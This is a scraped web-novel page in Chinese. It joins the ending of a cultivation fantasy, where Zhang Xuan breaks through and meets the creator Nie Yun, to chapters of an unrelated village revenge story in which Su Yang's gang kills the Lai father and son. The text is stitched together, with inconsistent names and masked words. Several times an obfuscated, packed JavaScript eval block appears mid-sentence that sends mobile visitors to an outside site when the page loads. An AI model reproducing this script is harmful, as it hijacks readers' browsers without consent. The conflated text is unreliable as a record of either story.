连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第二百五十二章 …”周阳咬牙切齿,每一个字都像是从牙缝里挤出来的。 啪! 啪啪! 清脆的耳光声在树林里回荡。 赖志成平日里作威作福,欺男霸女,如今落得这般田地,真是报应。 村里人恨他,可不光因为他是村正,也不光因为他家有几个臭钱,主要是他平日里缺德事干得太多,坏事做绝。 之前群殴赖志成的那帮村民,细细数来,哪个跟他家没点血海深仇? 真要无冤无仇,老实巴交的庄稼汉,哪能下那么狠的手?没仇谁会往死里打? 眼看周阳越打越上头,拳脚没个轻重,眼瞅着就要控制不住,苏阳担心真闹出人命,连忙出声制止: “行了,周阳,控制一下,别真打**,这老小子还有用。” 苏阳转头看向路旭东:“旭东,你去盘问赖志成,问问他都干过什么缺德事。” 然后他又对周阳说:“周阳,你去审卓麻,父子俩分开审,看他们口供对不对得上。” 苏阳还是那句话,他要给手下人立规矩,无论做啥,都得讲究个章法。 就算是收拾恶徒,也得拿到真凭实据,不能稀里糊涂乱来。 把审问的活儿交给他们,既能让他们出气,又显得自己这边有规矩。 “不……苏二,你不能这样!我是青龙村的村长,我要是出了事,官府一定会派人来查!到时候,你们谁也跑不了……”赖志成面无人色,声音都变了调。 苏阳压根不理会赖志成的垂死挣扎,目光在手下的小子们脸上一一扫过,想看看他们的反应。 还好,这些小子一个个都还算镇定,没有被吓破胆的样子。 毕竟是跟土匪真刀**干过的,胆子都练出来了,这点场面算个啥。 周阳和路旭东都跟赖志成有仇,自然不会跟他客气。 两人各自点了两个平日里关系不错的帮手,把韩家父子分别拖进了路边的树林,找了个僻静地方,分开审问去了。 苏阳让人把赖志成的牛车也赶进林子深处,还特意用茅草树枝遮盖了一下。 这毕竟是大路边上,来来往往的人多,要是路人路过,看见了不好,影响太大。 …… 过了大约两袋烟的工夫。 路旭东和周阳押着韩家父子回来了,两人脸上都带着如释重负的表情。 “阳哥儿,问出来了,**不离十,就是他们俩和土匪勾结,想在半道上劫杀你……”路旭东率先开口,声音里带着压抑不住的兴奋,仿佛大仇得报。 “对,前些日子我们去城里,赖小二就跑去青虎岭报信,找了几十号土匪。要不是凤子楼的打手半路杀出来,跟土匪干起来了,咱们那次就危险了……”周阳也补充道,补充了一些细节。 人群中顿时炸开了锅。 之前大家伙儿一直猜,韩家父子跟土匪有勾结,想害苏阳,害青龙村,可毕竟只是猜测,谁也没真凭实据。 现在可好,韩家父子自己招认了,父子俩互相指认,口供严丝合缝,绝非逼供所致! “阳哥儿,你发话吧,这种祸害不能留,留着也是个麻烦!” “是啊村正,对这种人,千万不能心慈手软,不然早晚得出事!” “村正,不用你动手,我跟他们韩家有仇,交给我吧,保证让他求生不得,求死不能!” “为何要给你掌控?我和韩家也有仇,交给我,我要亲手报仇!” “我也有仇,让我来,我保证让他后悔来到这个世上!” “……” 一时间,群情激奋,人人争着要当刽子手。 赖志成和赖守仁瘫在地上,屎尿齐流,裤裆都湿透了。 “苏……苏老弟……咱们好歹也是一个村的,你可不能……不能见死不救啊……”赖志成面如土色,语无伦次。 “苏爷,苏爷爷!我不想死,你饶了我吧,都是我爹的主意!他还说……他还说……”赖守仁为了活命,一把鼻涕一把泪,开始疯狂攀咬赖志成。 “他还说啥了?”人群中有人好奇地问。 “他还说等弄**你,就把青龙村的女人都分给土匪,让土匪糟蹋……” “你个小畜生,胡说八道!我啥时候说过这话?你……你这是污蔑!”赖志成气得差点背过气去。 人群中一阵骚动,不少人看向苏阳,眼神中带着询问。 包括苏阳在内,所有人都看得津津有味。 这出戏可比听说书有意思多了! 这种人家,父子俩竟然反目成仇,为了活命啥都敢说,活该遭报应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373775|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 苏阳饶有兴致地看了会儿热闹,渐渐觉得没啥意思了。 他摆了摆手,示意大家安静,转头问手下的小子们:“你们说,这俩人该咋处置?都说说,别藏着掖着。” 人群中,林韧眼皮直跳,心里一个劲儿地念叨:“别看我,别看我……” 他太熟悉苏阳的套路了,知道苏阳又要“钓鱼”。 可问题是,这次没人上钩了,苏阳会咋办? 不光是林韧,周阳、路旭东,还有几个苏阳的老跟班,全都繃紧了神经,大气都不敢喘。 他们心知肚明,苏阳这是要给他们出难题,考验他们。 在他们眼里,苏阳的问题,比赖志成父子还难对付。 毕竟赖志成父子已经落到他们手里,想怎么炮制就怎么炮制,可苏阳的问题不一样,一个不小心,答错了,以后就别想抬头做人了! 当初,林韧就是因为嘴快,又没啥心眼,一不小心就钻进了苏阳设的套子里,成了大家的笑柄! 现在,大家都知道苏阳要干啥,谁还会傻乎乎往上凑? 苏阳等了半天,竟然没一个人吭声,场面一度非常尴尬。 平时一个个不是挺能说的吗? 怎么现在都哑巴了? 关键时刻掉链子! 还积极个屁! 谁想给你当反面典型? 傻子才干这种事! 林韧急眼了,心说你们这些小子都啥眼神? 阳哥儿问你们话,你们都瞅**啥? 我脸上又没开花!我又不是反面教材! 可不是咋的,这就是大家伙儿为啥不吭声的原因。 林韧吃瘪的糗事,早就传遍了,谁不知道那是苏阳故意下的套? 明知道是坑,谁还会傻不拉几地自投罗网? 大家都在心里嘀咕:林韧啊林韧,你可长点心吧,别再犯傻了! 林韧心里“咯噔”一下,拔凉拔凉的,有了一种不祥的预感。 他察觉到一个棘手的麻烦:如今这群家伙都变滑头了,没人会上当了。 这么一来,他岂不是要被钉在耻辱柱上,啥时候提起来,都是一个笑话!这可不行! “咳咳,阳哥儿,村正,咱们……还是商量下怎么对付姓赖的? 第二百五十三章 这事儿……这事儿得有个章程啊!”林韧硬着头皮,试图把话题引开,同时也在提醒苏阳,别再“钓鱼”了,没用的。苏阳“钓鱼”失败,悻悻然把目光重新投向卓氏父子。 他故作大度地摆摆手:“罢了,念在同乡一场,让你们死得体面点。说吧,还有什么遗言?” “不……不要啊,苏村正,您就当俺们是个屁,放了吧……”赖志成哭嚎着。 赖有金更是不堪,直接冲着苏阳磕头:“苏爷爷!您饶俺一命,俺祖宗十八代都给您当牛做马……” 苏阳不耐烦地挥手,示意手下动手。 他懒得看这俩货的丑态,转身走到林子外围放哨。 **不是什么愉快的体验,没必要细细观赏。 身后,林子里很快传来惨叫,怒吼,哀嚎,以及复仇后畅快的大笑! “行了,差不多得了,挖坑埋了吧。” 苏阳适时出声。 **可以,可不能沦为**工具,尤其是虐杀,对这些半大小子的成长没好处。 …… 一锹锹黄土落下,渐渐盖住了卓氏父子的尸体。 苏阳看着,有些怅然。 没想到,重生后最强劲的对手,就这么落幕了。 他带的这帮小弟都不吭声了。 在他们的记忆里,赖志成就是一座不可撼动的麻山。 在他们父辈、祖辈的观念里,韩家人天生强大,是青龙村的统治者,村正之位就该是他们的! 可谁能想到,威震四方的赖志成,今天竟如丧家之犬般死去。 死得如此憋屈,如此滑稽,又如此……儿戏! 曾经不可一世的赖志成,也得像条看门狗似的,跪地求饶摇尾巴! 苏阳给大家上课时怎么说的? “王侯将相,宁有种乎?” 说得好! 谁也不是天生的主子,没人生来就该当狗! 凡是骑在百姓头上作威作福的,必须抱成一团,统统掀翻! …… “阳哥儿,这都是从他们身上翻出来的。” 路旭东递过来一堆东西。 苏阳接过,简单扫了一眼。 差不多七十两银子,四根金条,还有一堆房契、田契。 估计是怕留在家里被抢,赖志成才随身带着。 嗯? 苏阳随意翻了翻,有了意外发现。 不光有青龙村的田地,竟然还有清阳县的一座宅子! 房契上瞧着不大,但也算在县城有了落脚点。 其它的田契就没什么特别的了,都是青龙村的上好良田。 这些田,大多是韩家祖孙几代,从百姓手里一点点盘剥来的。 其中就有苏阳那便宜麻哥留下的十几亩上等田。 可惜,原主不争气,全被赖志成用低价买走了。 “阳哥儿,牛车上搁着个箱子,开吗?” “开吧。” 之前从青虎岭拉来的财货,苏阳没当众开箱。 这次不同。 一是跟着的小子不多,也就十来个。 再就是苏阳觉得赖志成的箱子里装不了啥值钱玩意。 果然,箱子一开,众人都很失望。 没有金光,没有银光,连个铜板影子都见不着。 满满当当,一堆泛黄的老纸。 苏阳抓起几张看了看,示意大家都看看。 “这……” 一众小子拿着黄纸,大眼瞪小眼。 面面相觑半晌,才吞吞吐吐道:“阳哥儿,俺们……不认字……” “整天逼你们啃书本,都不当回事!这会儿懵圈了吧?好东西摆在面前,都不认识!” 这群小伙子原本对这堆破纸嗤之以鼻,听苏阳这么一说,反而上头了。 好东西? 什么好东西? 一个个抓狂抓到头皮发麻,交换着眼神,想从别人眼中看出答案。 可惜,这群娃娃读书太晚了,除开自个儿的名,认不了几个字。 “啊?阳哥儿,我瞅见我老爹的大名了!” 突然,路旭东兴奋大吼,险些没把拉车的老牛吓得尥蹶子。 咣! 苏阳赏了他一个爆栗:“你小子能不能淡定点!瞎嚷嚷什么!” 接过路旭东手里的黄纸,苏阳乐了。 “路正分,在那个时节那个年代,找赖志成村正借了五斗粮食,半年后归还,本息共一石,立字为据……” 苏阳还真不知道,路旭东他爹叫路正分。 这名字……也太搞笑了! “啥?这是俺老爹找姓赖的借粮食的欠条?” “对,这就是借据,借五斗,半年还一石,翻倍。” “直娘贼!姓赖的这个狗东西!他这条命没了,要不然,俺非再宰他一回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“呸!没骨气的东西,又学石头那个憨货!” “墙头草,两边倒!” “马屁精!” …… 其他小土匪一看,顿时在心里把林韧骂了个狗血淋头。 平时一起欺负人的时候,你林韧不是挺能耐的吗? 第二百五十四章 怎么现在怂成这样了? 苏阳也被林韧这副怂样给气乐了,他冷哼一声: “行了,滚一边去,看着你就心烦!” 林韧如蒙大赦,一溜烟躲到人群后面,再也不敢露头。 苏阳凌厉的目光扫过众人,最后落在了周阳身上: “周阳,你个**给老子说说!” 周阳一听,顿时感觉头皮发麻,像是有一万只蚂蚁在爬。 他抓耳挠腮,憋了半天,才硬着头皮说道: “超……阳哥儿,俺……俺也说不好……是不是……韩家人怕……怕大家还不起钱,联合起来……造他们的反?” 说完,周阳就恨不得给自己一个大嘴巴子。 这说的什么屁话! 韩家人要是怕人**,还放个屁的**! 苏阳没理会周阳,又看向其他人: “你们呢?一个个都哑巴了?都给老子说出个一二三来!” 小土匪们不敢像林韧那样装傻充愣,也没周阳那么大胆子,只好硬着头皮胡诌: “韩家人……是不是良心发现了,不想逼死大家?” “放屁!韩家人要有良心,母猪都能上树!” “那……那是韩家人想放长线钓大鱼,让大家欠更多的债?” “蠢货!欠多了大家还不起,他们钓个屁的鱼!” …… 各种稀奇古怪的答案,从这帮小土匪嘴里冒出来,没一个能说到点子上的。 不过,苏阳倒也没指望这帮家伙能说出个所以然来。 毕竟,他们中大多数人连自己的名字都写不全,能指望他们有啥见识? “都**给老子听好了!” 苏阳猛地一拍巴掌,把小土匪们吓了一跳。 “韩家人为什么不逼着大家还债,原因只有一个——” 说到这里,他故意停顿了一下,吊足了众人的胃口。 “因为他们知道,就算逼也没用!这些债,大家伙儿根本就还不清!” 苏阳从桌上抄起几张借据,也没细看,只管在手里抖得哗哗作响。 “你们这帮小子,平时在村里作威作福,有谁去留意过那些欠了一屁股债的穷鬼?” 他提高嗓门,像是训孙子一样: “张寡妇,就剩下一条遮羞的破裙子,她男人欠的债,她拿啥还?拿命还吗?” “还有景老头,穷得叮当响,他爹当年借的粮,利滚利,驴打滚,现在堆成山,他**都还不起!” 苏阳越说越气,唾沫阳子四溅。 “动动你们的猪脑子想想,韩家为啥要把人往死里逼?” 他突然压低了声音,用一种阴森森的语气说道: “因为啊,他们要的不是钱,是命!” “是要你们这些穷鬼,世世代代给他们当牛做马,当猪当狗!” 一个小土匪被吓得一激灵,失声道: “超……阳哥儿,您的意思是,韩家放这么多债,压根就没打算让咱们还?” 苏阳冷笑一声: “还?拿啥还?把你们这群小兔崽子卖到窑子里,都不值几个钱!” “他们要的是啥?是让你们祖祖辈辈都欠着他们的,永远都还不清!” “这样,他们就能像拴狗一样,把你们,还有你们的子子孙孙,都拴在青龙村!” “谁敢不听话,就把借据拿出来,让他家破人亡!” 苏阳的话,像一把把尖刀,扎在小土匪们的心窝子上。 他们这才明白,那些看似普通的借据背后,隐藏着多么可怕的阴谋。 “这……这也太歹毒了!比土匪还狠!” 有人忍不住骂道。 “可不是嘛!这**哪是借粮,分明是**契啊!” “幸亏阳哥儿带着咱们,把韩家这窝狼给端了!不然,咱们都得被他们害死!” 小土匪们后怕不已,纷纷感激地看向苏阳。 “**,少给老子戴高帽!” 苏阳笑骂道: “老子可不是为了你们这帮兔崽子!老子是为了银子!” 他指了指桌上的金银: “没有这些黄白之物,谁**愿意跟韩家那帮王八蛋拼命?” “都给老子记住了,以后跟着老子,有肉吃,有酒喝,有银子花!但是——” 他话锋一转,语气变得严厉起来: “谁要是敢背叛老子,老子就让他尝尝,什么叫生不如死!” “行了,别愣着了,赶紧打扫战场!” “把值钱的玩意儿都给老子搜刮干净,一个铜板都别留下!” “对了,那几辆牛车,也别闲着,都给老子赶回去!” 一个小土匪犹豫了一下,问道: “阳哥儿,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380861|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……这牛车,万一被人认出来……” “认出来又咋样?” 苏阳满不在乎地说道: “老子就是要让全村的人都知道,赖志成完了!” “以后,谁要是敢欺负咱们,就让他尝尝咱们的拳头!” “至于这些借据嘛……” 苏阳走到桌边,拿起那堆借据,掂了掂: “本来想一把火烧了,省得看着心烦。” “不过,老子现在改主意了!” 他眼中闪过一丝狡黠的光芒: “这些玩意儿,留着还有用处!” “都给老子收好了,带回去!” “谁要是敢弄丢一张,老子扒了他的皮!” 小土匪们打了个寒颤,连忙把借据收了起来。 他们知道,苏阳这次是真的动了杀心。 那些借据,恐怕不仅仅是用来吓唬人的…… 苏阳扫视了一圈,确认没有什么遗漏,一挥手: “撤!” 一众小土匪呼啸而去,只留下满地的狼藉。 夜色中,几辆牛车缓缓驶向青龙村,车轮碾过地面,发出吱呀吱呀的声响,仿佛在诉说着一个古老而残酷的故事……赖志成失踪了! 这消息像炸雷,在青龙村轰隆一声炸响,震得瓦片都簌簌发抖。 村里人议论纷纷,各种说法满天飞,唾沫阳子横飞。 有人说他肯定是亏心事做多了,怕苏阳带土匪回来跟他算账,吓破了胆,连夜卷铺盖跑了。 有人说他贼精,八成是偷偷进城告状去了,想让县太爷把苏阳抓起来,关进大牢。 还有人说得玄乎,说他准是走投无路,一头扎进了卧龙沟的冰窟窿,现在尸首都冻得邦邦硬,捞都捞不上来。 更有人言之凿凿,说赖志成肯定是被苏阳给做了,尸骨无存,连个全尸都没留下…… 总之,各种说法满天飞,还都说得跟真的似的,就差没指天发誓赌咒了。 可不管村里人怎么七嘴八舌,赖志成的婆娘却跟没听见似的,该干啥干啥,稳如泰山。 “哼,一群长舌妇,瞎咧咧啥?老娘心里跟明镜似的!” 她撇撇嘴,翻了个白眼,手里的针线活儿一点儿也没耽误。 她坚信爷儿俩只是去城里避风头,没寻短见,更没逃跑。她男人和儿子是啥样的人,她还能不知道? 第二百五十五章 绝对不会出卖青龙村! 针尖在厚实的鞋底布料上来回穿梭,发出“吱嘎吱嘎”的声响,单调而又规律。 可就在这时,一个韩家本家的年轻人慌里慌张地跑了进来,差点儿没把门槛给绊倒。 “大嫂!坏事了!我在苏二家门口,瞅见咱家的牛车了!” 赖志成婆娘手一抖,针尖扎进了手指头,鲜血一下子冒了出来,她却浑然不觉。 “你说啥?牛车?” 她猛地站起身,脸色煞白,声音都打着颤。 要是爷儿俩平安进了城,牛车咋会在苏二家?难不成半路上出了啥岔子? 不行,必须得去苏二家看看!可一想到要跟苏阳那个二小子打交道,她心里就直发毛。 她跟苏阳关系一直不咋地,这会儿上门……苏二那小子,万一要是犯起浑来,孤身一个弱女子,还能全须全尾地回来? 说白了,赖志成的婆娘有点儿怕苏阳。别看那小子平时笑呵呵的,可村里谁不知道,他动起手来有多狠? 她正犹豫着,心里头十五个吊桶打水——七上八下的。 这时,村东头的卧龙沟边。 一座崭新的木桥横跨两岸,宛如一条巨龙,将青龙村和外界紧紧相连。 这是几个经验丰富的木匠带着几十个村民,没日没夜赶工出来的,桥上的每一块木板都凝聚着他们的心血。 苏阳领着他的一帮兄弟,还有他们的家眷,以及所有参与建桥的村民,黑压压的一大片,举行了盛大的通桥仪式。锣鼓喧天,鞭炮齐鸣,比过年还热闹。 站在桥头,苏阳背着手,挺直腰板,颇有几分大人物的气派。 他先是沉痛地回顾了青龙村的苦难史,细数着村民们以前过的那些猪狗不如的日子,接着又慷慨激昂地展望了青龙村的未来,给村民们画了一个又大又圆的饼。 “乡亲们,今儿个我苏阳把话撂这儿!往后,我要让咱青龙村人人有饭吃,有衣穿!家家户户都住上砖瓦房,娶上漂亮媳妇,过上比地主老财还舒坦的日子!” 他顿了顿,环视四周,目光炯炯有神。 光说不顶用,苏阳心里明白。 为了让大家伙儿相信他,他特意安排了一出“忆苦思甜”的大戏。 他让几个兄弟的家人轮番上台,哭天抹泪地讲述过去受的那些罪,吃的那些苦,再跟现在的好日子对比,那叫一个天上地下。 这番真情流露的表演,效果杠杠的,直接把现场的气氛推向了顶点。 村民们的情绪被彻底点燃,一个个热血沸腾,恨不得立马跟着苏阳大干一场。 “跟着苏阳,准没错!” “以前吃糠咽菜,现在大鱼大肉!” “以前住的是破草房,现在住上了新瓦房!” “以前家里光棍一堆,现在都娶上媳妇了!” “看看苏阳手下那帮兄弟,个个都壮得跟牛犊子似的,谁家还缺吃少穿?” 这下子,村民们可都憋不住了,一个个摩拳擦掌,跃跃欲试。 “得让自家小子也跟着苏阳!” “谁不让,咱们就跟谁死磕到底!” “对,跟着苏二爷,吃香的喝辣的!” 为了展示新桥的结实程度,也为了让村民们彻底放心。 苏阳大手一挥,让几辆装满粮食的大车依次从桥上驶过。 看着一辆辆沉重的马车稳稳当当地通过,村民们爆发出雷鸣般的欢呼声,把天上的苏彩都震散了。 “好!太好了!” “有了这座桥,再也不用担惊受怕地走那独木桥了!” “苏二爷,真乃活菩萨啊!” 以前没桥的时候,村民们只能走那窄窄的独木桥。空手走还好,可要是挑着上百斤的柴火,那可真是玩命。 稍有不慎,脚底下一打滑,掉进沟里,轻则摔断胳膊腿,重则一命呜呼! 这些年,因为走独木桥摔死摔伤的村民,可不是一个两个,数都数不过来。 人群中,赖志成的婆娘眼睛直勾勾地盯着过桥的牛车,眼珠子都快瞪出来了。 她的瞳孔猛地收缩,像针尖一样细。 “那是…咱家的牛车!” 